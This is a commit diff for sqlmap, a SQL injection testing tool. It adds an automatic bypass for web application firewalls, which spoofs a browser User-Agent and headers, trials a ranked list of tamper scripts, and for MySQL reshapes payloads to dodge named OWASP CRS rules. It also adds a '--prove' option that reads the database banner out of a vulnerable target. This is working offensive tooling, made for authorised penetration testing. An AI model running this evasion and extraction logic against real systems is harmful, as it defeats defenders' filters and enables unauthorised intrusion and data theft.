Add --prove, opt-in --auto-tamper WAF bypass, and blindbinary/infoschema2innodb tampers

This commit is contained in:
Miroslav Štampar 2026-06-17 15:58:08 +02:00
parent a0cbfba9bd
commit 1404133538
16 changed files with 992 additions and 15 deletions

View file

@ -8,11 +8,14 @@ See the file 'LICENSE' for copying permission
from lib.controller.handler import setHandler
from lib.core.common import Backend
from lib.core.common import Format
from lib.core.common import hashDBWrite
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import CONTENT_TYPE
from lib.core.enums import DBMS
from lib.core.enums import HASHDB_KEYS
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.core.settings import SUPPORTED_DBMS
@ -30,8 +33,41 @@ def action():
# First of all we have to identify the back-end database management
# system to be able to go ahead with the injection
# automatic WAF-bypass: if a WAF/IPS is present and the back-end DBMS is already indicated by the error
# page or the heuristic checks, skip active fingerprinting (the WAF would just block its payloads
# and flood the run with 403s) and assume that DBMS, so the user gets a usable result
if kb.wafBypass and not conf.forceDbms:
fallback = Backend.getErrorParsedDBMSes() or ([kb.heuristicDbms] if kb.heuristicDbms else [])
fallback = next((_ for _ in fallback if _ and _.lower() in SUPPORTED_DBMS), None)
if fallback:
logger.warning("skipping active back-end DBMS fingerprinting behind the WAF/IPS and assuming '%s' from error/heuristic detection" % fallback)
conf.forceDbms = fallback
setHandler()
if kb.wafBypass and Backend.getDbms(): # persist the assumed DBMS so a resumed run restores it instead of re-fingerprinting (and dead-ending) behind the WAF
hashDBWrite(HASHDB_KEYS.DBMS, Backend.getDbms())
# automatic WAF-bypass: with MySQL behind the WAF, make data retrieval AND table enumeration survive a
# libinjection-class WAF (e.g. OWASP CRS), verified end-to-end through ModSecurity/CRS:
# * fingerprinting was skipped, so flag has_information_schema (modern MySQL >=5.0 always has it) -
# otherwise enumeration wrongly assumes 'MySQL < 5.0' and bails with "no tables";
# * 'blindbinary' reshapes the single-character read ORD(MID())->RIGHT(LEFT())>BINARY 0x.. (sheds the
# ORD/MID function names scored by 942151/942190);
# * 'infoschema2innodb' moves table enumeration off 'information_schema' (scored by 942140) onto
# 'mysql.innodb_table_stats', which is not on those blocklists.
# (blindbinary also reshapes PostgreSQL, but full extraction through the CRS proxy garbles there - an
# open issue - so PG is not auto-applied; it stays available as manual '--tamper=blindbinary'.)
if kb.wafBypass and Backend.getIdentifiedDbms() == DBMS.MYSQL:
kb.data.has_information_schema = True
if not conf.tamper:
from lib.utils.wafbypass import loadTamper
for _name in ("blindbinary", "infoschema2innodb"):
function = loadTamper(_name)
if function is not None and function not in (kb.tamperFunctions or []):
kb.tamperFunctions = (kb.tamperFunctions or []) + [function]
logger.info("using tamper scripts 'blindbinary' and 'infoschema2innodb' so data retrieval and table enumeration can pass the WAF/IPS")
if not Backend.getDbms() or not conf.dbmsHandler:
htmlParsed = Format.getErrorParsedDBMSes()

View file

@ -1351,6 +1351,10 @@ def checkWaf():
warnMsg = "previous heuristics detected that the target "
warnMsg += "is protected by some kind of WAF/IPS"
logger.critical(warnMsg)
if hashDBRetrieve(HASHDB_KEYS.CHECK_WAF_BYPASS, True): # re-apply a previously accepted automatic bypass
from lib.utils.wafbypass import neutralizeFingerprint
kb.wafBypass = True
neutralizeFingerprint()
return _
if not kb.originalPage:
@ -1393,6 +1397,7 @@ def checkWaf():
hashDBWrite(HASHDB_KEYS.CHECK_WAF_RESULT, retVal, True)
if retVal:
if not kb.identifiedWafs:
warnMsg = "heuristics detected that the target "
@ -1406,9 +1411,19 @@ def checkWaf():
if not choice:
raise SqlmapUserQuitException
else:
if not conf.tamper:
warnMsg = "please consider usage of tamper scripts (option '--tamper')"
singleTimeWarnMessage(warnMsg)
if not conf.tamper and not kb.tamperFunctions:
message = "do you want sqlmap to try to automatically bypass the WAF/IPS during "
message += "the run (e.g. by using a non-scanner User-Agent and tamper script(s))? [Y/n] "
kb.wafBypass = readInput(message, default='Y', boolean=True)
hashDBWrite(HASHDB_KEYS.CHECK_WAF_BYPASS, kb.wafBypass, True)
if kb.wafBypass:
# apply it up-front so the whole run (detection included) avoids the scanner
# fingerprint, instead of getting blocked first and only then retrying
from lib.utils.wafbypass import neutralizeFingerprint
neutralizeFingerprint()
logger.info("using a random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS")
else:
singleTimeWarnMessage("please consider manual usage of tamper scripts (option '--tamper')")
return retVal

View file

@ -76,6 +76,7 @@ from lib.core.settings import IGNORE_PARAMETERS
from lib.core.settings import LOW_TEXT_PERCENT
from lib.core.settings import REFERER_ALIASES
from lib.core.settings import USER_AGENT_ALIASES
from lib.core.settings import WAF_BYPASS_MAX_TRIALS
from lib.core.target import initTargetEnv
from lib.core.target import setupTargetEnv
from lib.utils.hash import crackHashFile
@ -168,6 +169,57 @@ def _formatInjection(inj):
return data
def _autoWafBypass(place, parameter, value):
"""
Automatic WAF/IPS bypass (offered interactively once a WAF/IPS is detected, cached in
kb.wafBypass). The request fingerprint has already been neutralized up-front (non-scanner
User-Agent, see checkWaf), so here the empirically-ranked candidate tamper scripts are trialled
and the first that RESTORES a confirmed injection is adopted. Re-running checkSqlInjection()
through a candidate is itself the validation - it succeeds only if the resulting payload both
passes the WAF and stays valid SQL, so junk/incompatible candidates are rejected automatically.
"""
from lib.utils.wafbypass import candidateTampers, loadTamper
retVal = None
savedTamper = kb.tamperFunctions
savedTechnique = conf.technique
conf.technique = [PAYLOAD.TECHNIQUE.BOOLEAN] # bound each trial to a quick boolean re-check
candidates = candidateTampers(identifiedWafs=kb.identifiedWafs)
try:
for count, name in enumerate(candidates):
if count >= WAF_BYPASS_MAX_TRIALS:
break
function = loadTamper(name)
if function is None:
continue
kb.tamperFunctions = [function]
logger.info("trying to bypass the WAF/IPS with tamper script '%s'" % name)
injection = checkSqlInjection(place, parameter, value)
if getattr(injection, "place", None) is not None and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
logger.info("bypassed the WAF/IPS by using tamper script '%s' (with a non-scanner User-Agent)" % name)
logger.info("the same result can be reproduced manually with switch '--random-agent' and tamper script '%s'" % name)
retVal = injection
return retVal
if kb.droppingRequests and count >= 2:
logger.warning("target keeps dropping requests; giving up on the WAF/IPS bypass")
break
finally:
conf.technique = savedTechnique
if retVal is None: # nothing worked - leave tampering untouched
kb.tamperFunctions = savedTamper
# honest bail: say it could not be bypassed and what to try manually
logger.warning("unable to automatically bypass the WAF/IPS; it might be using behavioral or rate-based detection (consider a manual '--tamper' selection, '--delay', or '--proxy' rotation)")
return retVal
def _showInjections():
if conf.wizard and kb.wizardMode:
kb.wizardMode = False
@ -626,6 +678,14 @@ def start():
logger.info(infoMsg)
injection = checkSqlInjection(place, parameter, value)
# WAF/IPS bypass accepted: the parameter looks injectable (heuristics) but
# the standard payloads were blocked -> try to auto-bypass it (request
# fingerprint neutralization and/or a tamper script)
if getattr(injection, "place", None) is None and kb.wafBypass and check == HEURISTIC_TEST.POSITIVE \
and not conf.tamper and not kb.tamperFunctions:
injection = _autoWafBypass(place, parameter, value) or injection
proceed = not kb.endDetection
injectable = False
@ -754,7 +814,12 @@ def start():
condition = True
if condition:
action()
try:
action()
finally:
if conf.prove:
from lib.utils.prove import proveExploitation
proveExploitation()
except KeyboardInterrupt:
if kb.lastCtrlCTime and (time.time() - kb.lastCtrlCTime < 1):

View file

@ -288,6 +288,7 @@ class HASHDB_KEYS(object):
DBMS = "DBMS"
DBMS_FORK = "DBMS_FORK"
CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS"
CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT"
CONF_TMP_PATH = "CONF_TMP_PATH"
KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS"

View file

@ -2237,6 +2237,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.udfFail = False
kb.unionDuplicates = False
kb.unionTemplate = None
kb.wafBypass = None
kb.webSocketRecvCount = None
kb.wizardMode = False
kb.xpCmdshellAvailable = False

View file

@ -100,6 +100,7 @@ optDict = {
"prefix": "string",
"suffix": "string",
"tamper": "string",
"prove": "boolean",
},
"Detection": {

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.6.119"
VERSION = "1.10.6.120"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@ -54,6 +54,33 @@ IPS_WAF_CHECK_RATIO = 0.5
# Timeout used in heuristic check for WAF/IPS protected targets
IPS_WAF_CHECK_TIMEOUT = 10
# Candidate tamper scripts for automatic WAF-bypass, ordered by empirical WAF-bypass value
# (structural token-substitution first, camouflage last; per identYwaf data). The back-end DBMS
# is not pre-filtered here: semantics-preservation is verified at runtime by re-running detection
# through each candidate, so a DBMS-incompatible script simply fails the trial and is discarded.
WAF_BYPASS_TAMPERS = (
"equaltolike",
"between",
"greatest",
"charencode",
"randomcase",
"space2comment",
"versionedkeywords",
"space2hash",
)
# Maximum number of candidate tamper (chains) trialled during automatic WAF-bypass
WAF_BYPASS_MAX_TRIALS = 8
# Browser-like request headers applied alongside the random (non-scanner) User-Agent during
# automatic WAF bypass: sqlmap's defaults ('Accept: */*', no 'Accept-Language') are themselves a
# non-browser tell that header/behavioral WAFs key on, so the whole request fingerprint - not just
# the UA - is made to look like a real browser. Kept standard so it cannot skew content negotiation.
WAF_BYPASS_HTTP_HEADERS = (
("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"),
("Accept-Language", "en-US,en;q=0.5"),
)
# Timeout used in checking for existence of live-cookies file
LIVE_COOKIES_TIMEOUT = 120

View file

@ -56,6 +56,12 @@ def vulnTest():
("-u \"<url>&id2=1\" -p id2 -v 5 --flush-session --level=5 --text-only --test-filter=\"AND boolean-based blind - WHERE or HAVING clause (MySQL comment)\"", ("~1AND",)),
("--list-tampers", ("between", "MySQL", "xforwardedfor")),
("-u \"<url>&json=1\" -p id --flush-session --technique=B --banner", ("Type: boolean-based blind", "banner: '3.")), # JSON-response detection via the structure-aware oracle (no --string hint)
("-u <url> --data=\"security_level=1\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass: request-fingerprint dimension (a non-scanner User-Agent, applied up-front, restores detection)
("-u <url> --data=\"security_level=2\" -p id --flush-session --technique=B --banner", ("bypassed the WAF/IPS by using tamper script", "reproduced manually with switch '--random-agent' and tamper script", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass: SQL-tamper dimension (structural substitution) on top of the non-scanner User-Agent
("-u <url> --data=\"security_level=3\" -p id --flush-session --technique=B", ("bypassed the WAF/IPS by using tamper script", "Type: boolean-based blind")), # automatic WAF-bypass: SQL-tamper dimension at a stricter signature threshold
("-u <url> --data=\"security_level=4\" -p id --flush-session --technique=B --banner", ("random (non-scanner) User-Agent and browser-like headers to bypass the WAF/IPS", "Type: boolean-based blind", "banner: '3.")), # automatic WAF-bypass against a libinjection-class WAF: tampers cannot help, only the non-scanner User-Agent does
("-u <url> --data=\"security_level=5\" -p id --flush-session --technique=B", ("unable to automatically bypass the WAF/IPS", "does not seem to be injectable")), # automatic WAF-bypass honest bail: a libinjection-class WAF that no User-Agent or tamper can defeat
("-u <url> -p id --flush-session --prove", ("sqlmap proved exploitation of the following injection point", "Parameter: id (GET)", "Technique: boolean-based blind", "TRUE (5/5)", "repeatably", "Retrieved: back-end DBMS banner '3.")), # --prove: report-grade proof in the injection-point style - forces the boolean technique (so a multi-technique point still proves), and actively reads a value out as the strongest proof
("-r <request> --flush-session -v 5 --test-skip=\"heavy\" --save=<config>", ("CloudFlare", "web application technology: Express", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind", "saved command line options to the configuration file")),
("-c <config>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-Agent: foobar", "~Type: time-based blind")),
("-l <log> --flush-session --keep-alive --skip-waf -vvvvv --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),

View file

@ -375,6 +375,9 @@ def cmdLineParser(argv=None):
injection.add_argument("--tamper", dest="tamper",
help="Use given script(s) for tampering injection data")
injection.add_argument("--prove", dest="prove", action="store_true",
help="Prove exploitation of the detected injection point(s)")
# Detection options
detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase")

351
lib/utils/prove.py Normal file
View file

@ -0,0 +1,351 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import os
from lib.core.common import Backend
from lib.core.common import average
from lib.core.common import openFile
from lib.core.common import randomInt
from lib.core.common import stdev
from lib.core.common import unArrayizeValue
from lib.core.common import urldecode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import EXPECTED
from lib.core.enums import HTTPMETHOD
from lib.core.enums import PAYLOAD
from lib.core.enums import PLACE
from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import SLEEP_TIME_MARKER
from lib.request.inject import getValue
# how many times a true/false condition is re-evaluated to demonstrate repeatability (kills false positives)
PROVE_REPETITIONS = 5
# comparison knobs that decide true/false at request time (lib/request/comparison.py reads these globals,
# not injection.conf); they must be re-pointed at the injection being proven or the oracle returns None
_COMPARISON_ATTRS = ("string", "notString", "regexp", "code", "textOnly", "titles")
# width the field labels are padded to, so the values line up in a clean column
_LABEL_WIDTH = 9
def _field(label, value):
"""
Renders one 'Label: value' line (value column aligned), with any extra list items as continuation
lines indented under the value.
"""
lines = list(value) if isinstance(value, (list, tuple)) else [value]
indent = " " * (_LABEL_WIDTH + 2)
retVal = "%s:%s%s" % (label, " " * (_LABEL_WIDTH - len(label) + 1), lines[0] if lines else "")
for extra in lines[1:]:
retVal += "\n%s%s" % (indent, extra)
return retVal
def _activateInjection(injection):
"""
Points the global comparison configuration (and kb.injection) at the injection being proven, so the
boolean oracle / data retrieval use that injection's own distinguishing signal regardless of what the
globals drifted to during enumeration. Returns the previous state for restoration.
"""
saved = dict((_, getattr(conf, _)) for _ in _COMPARISON_ATTRS)
saved["injection"] = kb.injection
for attr in _COMPARISON_ATTRS:
setattr(conf, attr, getattr(injection.conf, attr, None))
kb.injection = injection
return saved
def _restoreInjection(saved):
kb.injection = saved.pop("injection")
for attr, value in saved.items():
setattr(conf, attr, value)
def _booleanOracle(expression):
"""
Evaluates a boolean expression strictly through the boolean (inferential) technique. UNION/error are
forced off on purpose: for a multi-technique injection getValue() would try those first, and a WAF/IPS
that blocks their function-heavy payloads makes them return None, which (with expectingNone) short-
circuits the whole call before the boolean technique is ever reached - the real cause of a 0/0 reading.
"""
return getValue(expression, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY, suppressOutput=True, expectingNone=True, union=False, error=False, time=False)
def _signalArtifacts(expression):
"""
Evaluates 'expression' through the boolean oracle and reads back the (HTTP code, page <title>) of the
response it produced (queryPage stores both in thread data), so the boolean proof can quote the actual
TRUE/FALSE codes and titles rather than a generic flag. Returns (None, None) on any error.
"""
from lib.core.common import extractRegexResult, getCurrentThreadData
from lib.core.settings import HTML_TITLE_REGEX
try:
_booleanOracle(expression)
threadData = getCurrentThreadData()
return threadData.lastCode, (extractRegexResult(HTML_TITLE_REGEX, threadData.lastPage or "") or "").strip()
except Exception:
return None, None
def _proveBoolean(injection):
"""
Demonstrates deterministic boolean control, rendered with the distinguishing signal sqlmap already
auto-selected (--string / --code / --title), repeated to show it is stable (not a fluke). The signal
line quotes the actual distinguishing artifact: the matched string, the two HTTP codes, or the two
page titles - so a reader sees exactly what tells TRUE from FALSE.
"""
retVal = []
n = randomInt()
trues = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n)))
falses = sum(1 for _ in range(PROVE_REPETITIONS) if _booleanOracle("%d=%d" % (n, n + 1)) is False)
line = "condition %d=%d returns TRUE (%d/%d) while %d=%d returns FALSE (%d/%d)" % (n, n, trues, PROVE_REPETITIONS, n, n + 1, falses, PROVE_REPETITIONS)
if trues == PROVE_REPETITIONS and falses == PROVE_REPETITIONS:
line += ", repeatably" # only claim repeatability when every repetition agreed
retVal.append(line)
trueCode = trueTitle = falseCode = falseTitle = None
if injection.conf.code or injection.conf.titles: # fetch the real artifacts only when the signal needs them
trueCode, trueTitle = _signalArtifacts("%d=%d" % (n, n))
falseCode, falseTitle = _signalArtifacts("%d=%d" % (n, n + 1))
if injection.conf.string:
retVal.append("the response contains %s only when the condition is TRUE" % repr(injection.conf.string).lstrip('u'))
elif injection.conf.notString:
retVal.append("the response contains %s only when the condition is FALSE" % repr(injection.conf.notString).lstrip('u'))
elif injection.conf.code:
if trueCode and falseCode and trueCode != falseCode:
retVal.append("the response returns HTTP %s when the condition is TRUE and HTTP %s when it is FALSE" % (trueCode, falseCode))
else:
retVal.append("the response returns HTTP %s only when the condition is TRUE (a different code otherwise)" % injection.conf.code)
elif injection.conf.titles:
if trueTitle and falseTitle and trueTitle != falseTitle:
retVal.append("the page title is %s when the condition is TRUE and %s when it is FALSE" % (repr(trueTitle).lstrip('u'), repr(falseTitle).lstrip('u')))
else:
retVal.append("the page <title> differs between the TRUE and FALSE responses")
else:
retVal.append("the TRUE response matches the original page while the FALSE one differs (content similarity)")
return retVal
def _proveTime(injection):
"""
Demonstrates time-based blind in plain IT language (jitter / latency / controlled delay), keeping the
statistics under the hood. Where the payload uses a parameterizable delay (SLEEP(n)/pg_sleep(n)/WAITFOR),
it sweeps the injected delay (0 / T / 2T seconds) and shows the response time tracks it ~1:1 - a controlled
delay that network latency or a slow page cannot reproduce. Otherwise (heavy-query delays) it falls back to
a baseline-vs-jitter statement.
"""
from lib.core.agent import agent
from lib.core.common import getCurrentThreadData, popValue, pushValue
from lib.request.connect import Connect as Request
retVal = []
stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED
vector = (injection.data.get(stype) or {}).get("vector")
def _baselineStatement():
baseline = kb.responseTimes.get(kb.responseTimeMode) or []
if len(baseline) >= 2:
return "a TRUE condition delays the response well beyond the target's normal latency ~%.3fs (jitter ~%.3fs), repeatably" % (average(baseline), stdev(baseline))
return "a TRUE condition delays the response well beyond the target's normal latency and jitter, repeatably"
if not (vector and SLEEP_TIME_MARKER in vector):
retVal.append(_baselineStatement())
return retVal
n = randomInt()
base = conf.timeSec or 5
measurements = []
benign = []
for _ in range(3):
try:
Request.queryPage(timeBasedCompare=True, raise404=False, silent=True)
benign.append(getCurrentThreadData().lastQueryDuration)
except Exception:
pass
for k in (0, base, 2 * base):
pushValue(conf.timeSec)
conf.timeSec = k
try:
query = agent.suffixQuery(agent.prefixQuery(vector.replace(INFERENCE_MARKER, "%d=%d" % (n, n))))
Request.queryPage(agent.payload(newValue=query), timeBasedCompare=True, raise404=False, silent=True)
measurements.append((k, getCurrentThreadData().lastQueryDuration))
except Exception:
measurements.append((k, None))
finally:
conf.timeSec = popValue()
if any(d is None for _, d in measurements):
retVal.append(_baselineStatement())
return retVal
d0, dT, d2T = (measurements[0][1], measurements[1][1], measurements[2][1])
baseAvg = average(benign) if benign else d0
baseStd = stdev(benign) if len(benign) >= 2 else 0.0
# only claim 1:1 scaling if the measurements actually track the injected seconds: 0s stays near baseline,
# Ts ~ T, 2Ts ~ 2T, monotonic. A heavy-query delay (e.g. SQLite RANDOMBLOB) also rides [SLEEPTIME] but
# does NOT scale linearly, so it must NOT be rendered as 1:1 (its sweep is noisy / non-monotonic)
linear = d0 < max(0.5, base * 0.5) and abs(dT - base) <= base * 0.5 and abs(d2T - 2 * base) <= base * 0.6 and d2T > dT
if linear:
retVal.append("normal response ~%.3fs (jitter ~%.3fs); injected delay %s" % (baseAvg, baseStd, " ".join("%ds -> %.2fs" % (k, d) for k, d in measurements)))
retVal.append("the response slows ~1:1 with the injected delay - a controlled delay that network latency or a slow page cannot reproduce (the 0s case returns at normal speed)")
else:
retVal.append("a TRUE condition makes the response take ~%.2fs versus ~%.3fs normal (jitter ~%.3fs), repeatably" % (max(dT, d2T), baseAvg, baseStd))
retVal.append("a FALSE condition returns at normal speed - a sustained delay neither network latency nor a slow page reproduces")
return retVal
def _retrieveProof():
"""
Reads values back through the injection to prove it - DBMS-agnostic, weakest-to-strongest:
1. a random arithmetic product (e.g. 48391*60128): every SQL engine evaluates it, it needs no
table/function/FROM (valid even on Oracle), so its WAF surface is tiny - yet the operands are
random, so reading the exact product back proves the back-end actually executed injected SQL
(not a reflected constant);
2. the DBMS banner: a real datum the application never returns on its own (the strongest proof).
Whatever evasion the run already adopted (tamper scripts) applies here too - this is not tied to any one
DBMS or tamper. Returns a list of (label, text) rungs; both, one, or none may be present.
"""
from lib.request import inject
retVal = []
a, b = randomInt(4), randomInt(4) # 4-digit operands: product stays < 2^31 so it never overflows a 32-bit INT (e.g. PostgreSQL int4), yet is unguessable
try:
result = inject.getValue("%d*%d" % (a, b), expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS, resumeValue=False, suppressOutput=True)
except Exception:
result = None
if result is not None and ("%s" % result).strip() == str(a * b):
retVal.append(("Computed", "%d*%d = %d returned by the back-end - it executed the injected SQL (works on any DBMS)" % (a, b, a * b)))
label = value = None
for requested, candidate, lbl in ( # reuse a value the user's own switches already pulled
(conf.getBanner, getattr(kb.data, "banner", None), "back-end DBMS banner"),
(conf.getCurrentUser, getattr(kb.data, "currentUser", None), "current database user"),
(conf.getCurrentDb, getattr(kb.data, "currentDb", None), "current database"),
):
if requested and candidate:
label, value = lbl, unArrayizeValue(candidate)
break
if value is None:
dbms = Backend.getIdentifiedDbms()
banner = getattr(queries.get(dbms), "banner", None) if dbms else None
query = getattr(banner, "query", None) if banner else None
if query:
try:
value = unArrayizeValue(inject.getValue(query, safeCharEncode=False, suppressOutput=True))
label = "back-end DBMS banner"
except Exception:
value = None
if value:
retVal.append(("Retrieved", "%s %s - a real value read out of the back-end (the strongest proof)" % (label, repr(value).lstrip('u'))))
return retVal
def proveExploitation():
"""
Renders a report-grade, best-effort demonstration of exploitation for the confirmed injection point
(option '--prove'), in the same style as sqlmap's injection-point summary so it reads naturally: the
target URL and the confirmed injection point (parameter / type / title / payload), then the strongest
proof first - an actual value read out of the back-end (drilling from the plain read to a more evasive
one so a WAF/IPS does not stop it) - backed by a deterministic boolean differential (rendered with the
distinguishing --string/--code/--title signal) or a statistical time-based demonstration. Written both
to stdout and to '<output>/proof.txt'.
"""
if not kb.injections or not any(getattr(_, "place", None) for _ in kb.injections):
return
injection = kb.injection if getattr(kb.injection, "place", None) else kb.injections[0]
saved = _activateInjection(injection)
try:
if PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
stype = PAYLOAD.TECHNIQUE.BOOLEAN
proof = _proveBoolean(injection)
elif PAYLOAD.TECHNIQUE.TIME in injection.data or PAYLOAD.TECHNIQUE.STACKED in injection.data:
stype = PAYLOAD.TECHNIQUE.TIME if PAYLOAD.TECHNIQUE.TIME in injection.data else PAYLOAD.TECHNIQUE.STACKED
proof = _proveTime(injection)
elif PAYLOAD.TECHNIQUE.ERROR in injection.data:
stype = PAYLOAD.TECHNIQUE.ERROR
proof = ["the back-end error message returns the requested value directly"]
elif PAYLOAD.TECHNIQUE.UNION in injection.data:
stype = PAYLOAD.TECHNIQUE.UNION
proof = ["the requested value is rendered inside the application response"]
else:
stype = next(iter(injection.data), None)
proof = []
rungs = _retrieveProof()
finally:
_restoreInjection(saved)
from lib.core.agent import agent
target = conf.url or ""
if conf.parameters.get(PLACE.GET) and "?" not in target: # spell out the full GET target, not just the path
target += "?%s" % conf.parameters[PLACE.GET]
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else injection.place
sdata = injection.data.get(stype)
fields = [_field("Target", target)]
if conf.parameters.get(PLACE.POST):
fields.append(_field("Data", conf.parameters[PLACE.POST]))
fields.append(_field("Parameter", "%s (%s)" % (injection.parameter, paramType)))
if sdata is not None:
fields.append(_field("Technique", PAYLOAD.SQLINJECTION[stype]))
if sdata.payload:
payload = urldecode(agent.adjustLateValues(sdata.payload), unsafe="&", spaceplus=(injection.place != PLACE.GET and kb.postSpaceToPlus))
fields.append(_field("Payload", payload))
if proof:
fields.append(_field("Proof", proof))
if rungs:
for label, text in rungs:
fields.append(_field(label, text))
else:
fields.append(_field("Retrieved", "(no value could be read back; the proof above still confirms exploitation)"))
data = "\n".join(fields)
header = "sqlmap proved exploitation of the following injection point"
conf.dumper.string(header, data)
try:
path = os.path.join(conf.outputPath or ".", "proof.txt")
with openFile(path, "w+") as f:
f.write("%s:\n---\n%s\n---\n" % (header, data))
logger.info("proof of exploitation written to '%s'" % path)
except Exception:
pass

156
lib/utils/wafbypass.py Normal file
View file

@ -0,0 +1,156 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
"""
import base64
import json
import os
import struct
import sys
from lib.core.common import fetchRandomAgent
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import paths
from lib.core.enums import HTTP_HEADER
from lib.core.enums import PLACE
from lib.core.settings import WAF_BYPASS_HTTP_HEADERS
from lib.core.settings import WAF_BYPASS_TAMPERS
def neutralizeFingerprint():
"""
Makes the request look like a real browser (random non-scanner User-Agent from the canonical
'txt/user-agents.txt' - the same source as switch '--random-agent' - plus browser Accept/Accept-Language),
used by automatic WAF-bypass. The per-request User-Agent is sourced from conf.parameters[PLACE.USER_AGENT]
(queryPage passes it explicitly, overriding conf.agent), so that is the authoritative knob; conf.agent
and the HTTP header list are updated too. Returns the previous state so the change can be reverted.
"""
saved = (conf.agent, conf.httpHeaders, conf.parameters.get(PLACE.USER_AGENT))
userAgent = fetchRandomAgent()
conf.agent = userAgent
if PLACE.USER_AGENT in conf.parameters:
conf.parameters[PLACE.USER_AGENT] = userAgent
overrides = dict(((HTTP_HEADER.USER_AGENT, userAgent),) + tuple(WAF_BYPASS_HTTP_HEADERS))
upper = dict((_.upper(), _) for _ in overrides)
headers, seen = [], set()
for header, hvalue in conf.httpHeaders:
if header.upper() in upper:
headers.append((header, overrides[upper[header.upper()]]))
seen.add(header.upper())
else:
headers.append((header, hvalue))
for header, hvalue in overrides.items():
if header.upper() not in seen:
headers.append((header, hvalue))
conf.httpHeaders = headers
return saved
# identYwaf encodes each fingerprint as a packed array of 16-bit words, one per provocation
# vector, where the LOW bit marks whether that vector was blocked (lib/../identywaf/identYwaf.py:
# struct.pack(">H", (hash << 1) | blocked)). Decoding the bundled per-WAF signatures therefore
# yields, for free, which constructs a known WAF actually blocks - an empirical prior for picking
# bypass tampers. The two indices below (from data.json "payloads") are the ones we key decisions
# on: comment-obfuscated payloads (whether comment-insertion tampers stand any chance).
_IDENTYWAF_COMMENT_VECTORS = (2, 3, 13) # "1/**/AND/**/1", "1/*0AND*/1", "1/**/UNION/**/SELECT.../information_schema.*"
_DATA = None
def _data():
global _DATA
if _DATA is None:
path = os.path.join(paths.SQLMAP_ROOT_PATH, "thirdparty", "identywaf", "data.json")
with open(path, "rb") as f:
_DATA = json.loads(f.read().decode("utf-8"))
return _DATA
def identYwafBlockedVectors(wafName):
"""
Returns the set of provocation-vector indices that the given (identYwaf) WAF blocks, decoded
from its bundled blind signatures (majority vote across signature variants). Empty set if the
WAF/signatures are unknown.
>>> isinstance(identYwafBlockedVectors("cloudflare"), set)
True
"""
retVal = set()
wafs = _data().get("wafs", {})
info = wafs.get(wafName) or wafs.get((wafName or "").lower())
if not info:
return retVal
expected = len(_data().get("payloads", []))
counts, total = {}, 0
for signature in info.get("signatures", []):
try:
raw = base64.b64decode(signature.split(':', 1)[-1])
except Exception:
continue
words = struct.unpack(">%dH" % (len(raw) // 2), raw) if len(raw) >= 2 else ()
if len(words) != expected: # only consider signatures over the current vector set
continue
total += 1
for index, word in enumerate(words):
if word & 1:
counts[index] = counts.get(index, 0) + 1
if total:
retVal = set(index for index, c in counts.items() if c * 2 >= total) # blocked in a majority of variants
return retVal
def candidateTampers(identifiedWafs=None):
"""
Returns the ordered list of candidate tamper-script names for automatic WAF bypass: the
empirically-ranked WAF_BYPASS_TAMPERS, with comment-insertion camouflage pruned when the
identified WAF is known to block comment-obfuscated payloads (so requests aren't wasted on
tampers that can't help). Semantics (and DBMS compatibility) are verified at runtime by
re-running detection through each candidate, so no DBMS pre-filtering is needed here.
>>> "between" in candidateTampers()
True
>>> "equaltolike" in candidateTampers()
True
"""
retVal = list(WAF_BYPASS_TAMPERS)
blocked = set()
for waf in (identifiedWafs or []):
blocked |= identYwafBlockedVectors(waf)
if blocked and any(_ in blocked for _ in _IDENTYWAF_COMMENT_VECTORS):
retVal = [_ for _ in retVal if not _.startswith("space2") and _ != "versionedkeywords"]
return retVal
def loadTamper(name):
"""
Imports a tamper script by name from the tamper directory and returns its 'tamper' function
(or None if missing). Mirrors the loader in option._setTamperingFunctions, for runtime use.
"""
dirname = paths.SQLMAP_TAMPER_PATH
if dirname not in sys.path:
sys.path.insert(0, dirname)
module = __import__(str(name))
function = getattr(module, "tamper", None)
if function is not None:
function.__name__ = name
return function